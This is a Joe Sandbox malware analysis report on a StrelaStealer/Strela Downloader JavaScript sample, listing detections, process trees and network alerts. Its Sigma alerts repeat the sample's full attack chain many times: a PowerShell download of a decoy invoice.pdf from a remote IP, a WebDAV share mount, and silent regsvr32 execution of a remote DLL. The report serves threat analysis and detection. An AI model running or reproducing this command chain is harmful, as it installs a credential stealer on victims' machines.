Edit tour

Windows Analysis Report
705722057165658523.js

Overview

General Information

Sample name:	705722057165658523.js
Analysis ID:	1587558
MD5:	11cb2429a61cc6aa319ef3b333a5ba62
SHA1:	1c1d7e02b871a9d3104ca152acd8215eb849d515
SHA256:	3b81fb72e19d82e35c293f174d06ac2719b2e415bbe2caa09689970e5ff69d0b
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6544 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4228 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3444 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6036 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7216 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1660,i,16679383751388138378,981715087898099143,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4480 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6292 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6268	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4228, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4228, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ProcessId: 6268, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6292, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 6544, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 6544, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 6544, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 6544, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 6544, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ProcessId: 6268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4228, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4480, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6292, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3340, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4480, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6292, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll, ProcessId: 6544, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:54:15.647005+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:54:12.988886+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 705722057165658523.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 705722057165658523.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:54:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

